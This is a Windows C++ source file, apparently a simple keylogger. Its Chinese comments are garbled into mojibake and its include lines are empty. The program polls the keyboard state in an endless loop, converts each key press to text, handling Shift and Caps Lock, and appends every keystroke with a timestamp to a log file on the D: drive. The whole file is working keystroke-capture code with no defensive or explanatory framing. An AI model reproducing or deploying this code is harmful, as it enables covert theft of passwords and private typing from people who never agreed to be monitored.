#include
#include
#include
#include
#include
#include
using namespace std;
// ʱ¼ä£¬½á¹¹Ìå
struct Time{
int year;
int month;
int day;
int hour;
int minite;
};
// ½«intÀàÐÍÊý¾Ýת»»³ÉstringÀàÐÍ
string intToString(int intData) {
char buf[5];
sprintf(buf,"%d",intData);
string s = buf;
return s;
}
Time getCurrentTime()
{
time_t timer;
time(&timer);
tm* t_tm = localtime(&timer);
//cout<<"today is "<tm_year+1900<<" "<tm_mon+1<<" "<tm_mday<tm_year+1900;
t.month = t_tm->tm_mon+1;
t.day = t_tm->tm_mday;
t.hour = t_tm->tm_hour;
t.minite = t_tm->tm_min;
return t;
}
string GetKey(int Key) // ÅжϼüÅ̰´ÏÂʲô¼ü
{
string KeyString = "";
//ÅжϷûºÅÊäÈë
const int KeyPressMask=0x80000000; //¼üÅÌÑÚÂë³£Á¿
int iShift=GetKeyState(0x10); //ÅжÏShift¼ü״̬
bool IS=(iShift & KeyPressMask)==KeyPressMask; //±íʾ°´ÏÂShift¼ü
if(Key >=186 && Key <=222)
{
switch(Key)
{
case 186:
if(IS)
KeyString = ":";
else
KeyString = ";";
break;
case 187:
if(IS)
KeyString = "+";
else
KeyString = "=";
break;
case 188:
if(IS)
KeyString = "<";
else
KeyString = ",";
break;
case 189:
if(IS)
KeyString = "_";
else
KeyString = "-";
break;
case 190:
if(IS)
KeyString = ">";
else
KeyString = ".";
break;
case 191:
if(IS)
KeyString = "?";
else
KeyString = "/";
break;
case 192:
if(IS)
KeyString = "~";
else
KeyString = "`";
break;
case 219:
if(IS)
KeyString = "{";
else
KeyString = "[";
break;
case 220:
if(IS)
KeyString = "|";
else
KeyString = "\\";
break;
case 221:
if(IS)
KeyString = "}";
else
KeyString = "]";
break;
case 222:
if(IS)
KeyString = '"';
else
KeyString = "'";
break;
}
}
//ÅжϼüÅ̵ĵÚÒ»ÐÐ
if (Key == VK_ESCAPE) // Í˳ö
KeyString = "[Esc]";
else if (Key == VK_F1) // F1ÖÁF12
KeyString = "[F1]";
else if (Key == VK_F2)
KeyString = "[F2]";
else if (Key == VK_F3)
KeyString = "[F3]";
else if (Key == VK_F4)
KeyString = "[F4]";
else if (Key == VK_F5)
KeyString = "[F5]";
else if (Key == VK_F6)
KeyString = "[F6]";
else if (Key == VK_F7)
KeyString = "[F7]";
else if (Key == VK_F8)
KeyString = "[F8]";
else if (Key == VK_F9)
KeyString = "[F9]";
else if (Key == VK_F10)
KeyString = "[F10]";
else if (Key == VK_F11)
KeyString = "[F11]";
else if (Key == VK_F12)
KeyString = "[F12]";
else if (Key == VK_SNAPSHOT) // ´òÓ¡ÆÁÄ»
KeyString = "[PrScrn]";
else if (Key == VK_SCROLL) // ¹ö¶¯Ëø¶¨
KeyString = "[Scroll Lock]";
else if (Key == VK_PAUSE) // ÔÝÍ£¡¢ÖжÏ
KeyString = "[Pause]";
else if (Key == VK_CAPITAL) // ´óÐ´Ëø¶¨
KeyString = "[Caps Lock]";
//-------------------------------------//
//¿ØÖƼü
else if (Key == 8) //<- »Ø¸ñ¼ü
KeyString = "[Backspace]";
else if (Key == VK_RETURN) // »Ø³µ¼ü¡¢»»ÐÐ
KeyString = "[Enter]\n";
else if (Key == VK_SPACE) // ¿Õ¸ñ
KeyString = " ";
//Éϵµ¼ü:¼üÅ̼ǼµÄʱºò£¬¿ÉÒÔ²»¼Ç¼¡£µ¥¶ÀµÄShiftÊDz»»áÓÐÈκÎ×Ö·û£¬
//Éϵµ¼üºÍ±ðµÄ¼ü×éºÏ£¬Êä³öʱÓÐ×Ö·ûÊä³ö
/*
else if (Key == VK_LSHIFT) // ×ó²àÉϵµ¼ü
KeyString = "[Shift]";
else if (Key == VK_LSHIFT) // ÓÒ²àÉϵµ¼ü
KeyString = "[SHIFT]";
*/
/*Èç¹ûÖ»ÊǶԼüÅÌÊäÈëµÄ×Öĸ½øÐмǼ:¿ÉÒÔ²»ÈÃÒÔϼüÊä³öµ½Îļþ*/
else if (Key == VK_TAB) // ÖÆ±í¼ü
KeyString = "[Tab]";
else if (Key == VK_LCONTROL) // ×ó¿ØÖƼü
KeyString = "[Ctrl]";
else if (Key == VK_RCONTROL) // ÓÒ¿ØÖƼü
KeyString = "[CTRL]";
else if (Key == VK_LMENU) // ×ó»»µµ¼ü
KeyString = "[Alt]";
else if (Key == VK_LMENU) // ÓÒ»»µµ¼ü
KeyString = "[ALT]";
else if (Key == VK_LWIN) // ÓÒ WINDOWS ¼ü
KeyString = "[Win]";
else if (Key == VK_RWIN) // ÓÒ WINDOWS ¼ü
KeyString = "[WIN]";
else if (Key == VK_APPS) // ¼üÅÌÉÏ ÓÒ¼ü
KeyString = "ÓÒ¼ü";
else if (Key == VK_INSERT) // ²åÈë
KeyString = "[Insert]";
else if (Key == VK_DELETE) // ɾ³ý
KeyString = "[Delete]";
else if (Key == VK_HOME) // Æðʼ
KeyString = "[Home]";
else if (Key == VK_END) // ½áÊø
KeyString = "[End]";
else if (Key == VK_PRIOR) // ÉÏÒ»Ò³
KeyString = "[PgUp]";
else if (Key == VK_NEXT) // ÏÂÒ»Ò³
KeyString = "[PgDown]";
// ²»³£Óõö¼ü:Ò»°ã¼üÅÌûÓÐ
else if (Key == VK_CANCEL) // Cancel
KeyString = "[Cancel]";
else if (Key == VK_CLEAR) // Clear
KeyString = "[Clear]";
else if (Key == VK_SELECT) //Select
KeyString = "[Select]";
else if (Key == VK_PRINT) //Print
KeyString = "[Print]";
else if (Key == VK_EXECUTE) //Execute
KeyString = "[Execute]";
//----------------------------------------//
else if (Key == VK_LEFT) //ÉÏ¡¢Ï¡¢×ó¡¢ÓÒ¼ü
KeyString = "[¡û]";
else if (Key == VK_RIGHT)
KeyString = "[¡ú]";
else if (Key == VK_UP)
KeyString = "[¡ü]";
else if (Key == VK_DOWN)
KeyString = "[¡ý]";
else if (Key == VK_NUMLOCK)//С¼üÅÌÊýÂëËø¶¨
KeyString = "[NumLock]";
else if (Key == VK_ADD) // ¼Ó¡¢¼õ¡¢³Ë¡¢³ý
KeyString = "+";
else if (Key == VK_SUBTRACT)
KeyString = "-";
else if (Key == VK_MULTIPLY)
KeyString = "*";
else if (Key == VK_DIVIDE)
KeyString = "/";
else if (Key == 190 || Key == 110) // С¼üÅÌ . ¼°¼üÅÌ .
KeyString = ".";
//С¼üÅÌÊý×Ö¼ü:0-9
else if (Key == VK_NUMPAD0)
KeyString = "0";
else if (Key == VK_NUMPAD1)
KeyString = "1";
else if (Key == VK_NUMPAD2)
KeyString = "2";
else if (Key == VK_NUMPAD3)
KeyString = "3";
else if (Key == VK_NUMPAD4)
KeyString = "4";
else if (Key == VK_NUMPAD5)
KeyString = "5";
else if (Key == VK_NUMPAD6)
KeyString = "6";
else if (Key == VK_NUMPAD7)
KeyString = "7";
else if (Key == VK_NUMPAD8)
KeyString = "8";
else if (Key == VK_NUMPAD9)
KeyString = "9";
//-------------------------------------------//
//-------------------------------------------//
//*¶Ô×ÖĸµÄ´óСд½øÐÐÅжÏ*//
else if (Key >=97 && Key <= 122) // ×Öĸ:a-z
{
if (GetKeyState(VK_CAPITAL)) // ´óÐ´Ëø¶¨
{
if(IS) //Shift°´ÏÂ:ΪСд×Öĸ
KeyString = Key;
else // Ö»ÓдóÐ´Ëø¶¨:Êä³ö´óд×Öĸ
KeyString = Key - 32;
}
else// ´óдûÓÐËø¶¨
{
if(IS) // °´ÏÂShift¼ü: ´óд×Öĸ
KeyString = Key - 32;
else // ûÓа´Shift¼ü: Сд×Öĸ
KeyString = Key;
}
}
else if (Key >=48 && Key <= 57) // ¼üÅÌÊý×Ö:0-9¼°ÉÏ·½µÄ·ûºÅ
{
if(IS)
{
switch(Key)
{
case 48: //0
KeyString = ")";
break;
case 49://1
KeyString = "!";
break;
case 50://2
KeyString = "@";
break;
case 51://3
KeyString = "#";
break;
case 52://4
KeyString = "$";
break;
case 53://5
KeyString = "%";
break;
case 54://6
KeyString = "^";
break;
case 55://7
KeyString = "&";
break;
case 56://8
KeyString = "*";
break;
case 57://9
KeyString = "(";
break;
}
}
else
KeyString = Key;
}
if (Key != VK_LBUTTON || Key != VK_RBUTTON)
{
if (Key >=65 && Key <=90) //ASCII 65-90 ΪA-Z
{
if (GetKeyState(VK_CAPITAL)) // ´óÐ´Ëø¶¨:Êä³öA-Z
{
if(IS) // ´óÐ´Ëø¶¨£¬²¢ÇÒ°´ÏÂÉϵµ¼ü:Êä³öΪСд×Öĸ
KeyString = Key + 32;
else //Ö»ÓдóÐ´Ëø¶¨:Êä³öΪ´óд×Öĸ
KeyString = Key;
}
else // ´óдûÓÐËø¶¨:a-z
{
if(IS)
{
KeyString = Key;
}
else
{
Key = Key + 32;
KeyString = Key;
}
}
}
}
return KeyString;
}
int main()
{
string FilePath = "D:\\log.txt";//µ¹³ö¼Ç¼Îı¾´æÔÚDÅÌlog.txtĿ¼ÏÂ
string TempString = "";
fstream FStream;
FStream.open(FilePath.c_str(), std::fstream::out | std::fstream::app);
Time t = getCurrentTime();
string startAt;
startAt.append("\n--------------- ¿ªÊ¼¼Ç¼ʱ¼ä£º").append( intToString(t.year).c_str() )
.append("-").append( intToString(t.month).c_str() )
.append("-").append( intToString(t.day).c_str() )
.append(" * ").append( intToString(t.hour).c_str() )
.append(":").append( intToString(t.minite).c_str() )
.append(" ---------------\n\n");
FStream.write(startAt.c_str(), startAt.size());
//´Ë´¦¹Ø±ÕÎļþÓÖ´ò¿ªÎļþÖ÷ÒªÔÒòÊÇдÎļþµÄʱºò´æÔÚ»º³åÎÊÌ⣬»º³åÇøÎ´ÂúÔò²»»á½«ÄÚÈÝдµ½Îļþ£¬³ý·Ç¶ÔÎļþ½øÐйرղÙ×÷¡£
FStream.close();
FStream.open(FilePath.c_str(), std::fstream::out | std::fstream::app);
while(true)
{
Sleep(5);
// ¶ÔËùÓеļü½øÐбéÀú£¬ÕÒµ½±»°´Ïµļü
for(int key = 8; key <=255; key++)
{
if(GetAsyncKeyState(key)&1 ==1) // ÅжÏkeyÖµ¶ÔÓ¦µÄ¼üµ±Ç°×´Ì¬
{
TempString = GetKey(key);
FStream.write(TempString.c_str(), TempString.size());
FStream.close();
FStream.open(FilePath.c_str(), std::fstream::out | std::fstream::app);
}
}
}
return 0;
}